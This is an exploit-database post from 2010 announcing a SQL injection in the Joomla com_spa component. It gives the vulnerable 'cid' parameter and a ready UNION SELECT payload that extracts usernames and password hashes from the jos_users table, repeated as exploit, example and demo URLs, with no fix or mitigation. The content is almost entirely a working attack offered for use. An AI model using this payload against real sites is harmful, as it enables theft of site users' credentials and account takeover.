Joomla Component (com_spa) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Joomla Component (com_spa) SQL Injection Vulnerability
# Published : 2010-07-17
# Author : Palyo34 and KroNicKq
# Previous Title : Kayako eSupport (functions.php) v3.70.02 SQL Injection Vulnerability
# Next Title : Calendarix (cal_cat.php) SQL Injection Vulnerability

===================================================
Joomla Component (com_spa) SQL Injection Vulnerability
===================================================

Author :   Palyo34 & KroNicKq 

Homepage : http://www.1923turk.com

===================================================


[+] Vulnerable File :


http://www.site.com/index.php?option=com_spa&view=spa_product&cid=[SQL]


[+] ExploiT :

-1+union+select concat(username,0x3a,password)+from+jos_users


[+] Example :

http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-1+union+select concat(username,0x3a,password)+from+jos_users


[+] Demo :

http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-20+union+select+concat(username,0x3a,password)+from+jos_users


===================================================
I Lowe You Joomla :))
===================================================

Greetz : 1923Turk All Users